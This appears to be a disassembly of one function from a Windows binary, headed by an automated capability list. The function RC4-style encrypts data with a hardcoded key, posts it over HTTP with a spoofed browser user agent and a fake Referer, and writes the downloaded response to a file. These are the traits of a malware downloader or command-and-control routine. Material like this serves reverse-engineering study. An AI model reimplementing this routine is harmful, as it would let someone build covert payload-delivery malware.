Function at 0x100139c0
Capabilities:
Check http status code
Connect to http server
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
push ebx
push esi
push edi
xor esi, esi
push 0xff
lea eax, [ebp - 0x137]
push esi
push eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x2c], 4
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov byte [ebp - 0x138], 0
call sub.MSVCRT.dll_memset
mov edi, dword [ebp + 8]
xor ecx, ecx
add esp, 0xc
mov word [ebp - 0x38], cx
cmp edi, esi
je 0x10013d4d
cmp dword [ebp + 0xc], esi
je 0x10013d4d
cmp dword [ebp + 0x20], esi
je 0x10013a71
xor eax, eax
mov word [ebp - 0x38], 1
mov byte [ebp + ecx - 0x138], cl
inc ecx
cmp ecx, 0x100
jl 0x10013a21
xor ecx, ecx
jmp 0x10013a40
mov dl, byte [eax + str.as743vgk0odastr]
xor byte [ebp + ecx - 0x138], dl
inc eax
cmp eax, 0xf
jl 0x10013a55
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10013a40
mov eax, dword [ebp + 0x18]
mov edx, dword [ebp + 0x1c]
push eax
push eax
lea eax, [ebp - 0x138]
call fcn.10016c40
push 0x4000000
push esi
push esi
push esi
push str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
mov dword [ebp - 0x20], ebx
test ebx, ebx
je 0x10013d4d
push 1
push 0
push 3
push 0
push 0
push 0x50
push edi
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
mov dword [ebp - 0x24], esi
test esi, esi
je 0x10013d43
cmp dword [ebp + 0x14], 0
mov eax, 0x10047430
je 0x10013ac2
mov eax, str.POST
mov ecx, dword [ebp + 0xc]
push 1
push 0
push 0
push 0
push str.HTTP_1.0
push ecx
push eax
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
je 0x10013d39
mov esi, dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
mov ebx, 1
cmp dword [ebp + 0x14], ebx
jne 0x10013b0d
cmp dword [ebp + 0x24], 0
jne 0x10013b0d
push 0x20000000
push 0xffffffffffffffff
push str.Content_Type:_application_x_www_form_urlencoded_r_n
push edi
call esi
push 0x20000000
push 0xffffffffffffffff
push str.Referer:_http:__www.google.com_r_n
push edi
call esi
cmp dword [ebp + 0x24], 0
je 0x10013b52
push 0x10057980
push str.Content_Type:_multipart_form_data__boundary____________________________s_r_n
lea edx, [ebp - 0x240]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
push 0x20000000
push 0xffffffffffffffff
lea eax, [ebp - 0x240]
push eax
push edi
call esi
mov ecx, dword [ebp + 0x1c]
mov edx, dword [ebp + 0x18]
push ecx
push edx
push 0
push 0
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x10013d2c
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x14]
push edx
push 0x20000013
push edi
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x10013d2c
cmp dword [ebp - 0x14], 0xc8
jne 0x10013d2c
mov eax, dword [ebp + 0x10]
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push eax
mov dword [ebp - 0x18], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10013d2c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea ebx, [ebx]
push 0x1010
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10013c73
push 0x1010
push 0
push esi
call sub.MSVCRT.dll_memset
mov edx, dword [ebp - 4]
add esp, 0xc
lea ecx, [ebp - 8]
push ecx
push 0x1000
push esi
push edx
mov dword [ebp - 8], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10013c57
mov eax, dword [ebp - 8]
test eax, eax
je 0x10013c57
push 0
lea ecx, [ebp - 0x28]
push ecx
push eax
push esi
push ebx
mov dword [ebp - 0x28], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10013bd0
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10013bd0
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10013c73
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
je 0x10013c9a
lea edx, [ebp - 0xc]
push edx
push ebx
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10013c9a
test byte [ebp - 0xc], 2
jne 0x10013c9a
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 0x10]
call fcn.10006570
mov esi, eax
test esi, esi
je 0x10013d29
xor eax, eax
mov word [ebp - 0x38], 1
xor ecx, ecx
lea esp, [esp]
mov byte [ebp + ecx - 0x138], cl
inc ecx
cmp ecx, 0x100
jl 0x10013cc0
xor ecx, ecx
mov dl, byte [eax + str.as743vgk0odastr]
xor byte [ebp + ecx - 0x138], dl
inc eax
cmp eax, 0xf
jl 0x10013ce7
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10013cd2
mov edx, dword [ebp - 0x10]
push esi
push esi
lea eax, [ebp - 0x138]
call fcn.10016c40
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp + 0x10]
push esi
call fcn.100064d0
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10013d29
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [ebp - 4]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x24]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp + 8]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esi, dword [ebp - 0x18]
test esi, esi
jne 0x10013d7f
mov ecx, dword [ebp + 0x24]
mov edx, dword [ebp + 0x20]
mov eax, dword [ebp + 0x1c]
push ecx
mov ecx, dword [ebp + 0x18]
push edx
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp + 0xc]
push edx
push eax
push ecx
push 1
mov eax, edi
call fcn.10013620
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x20
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x20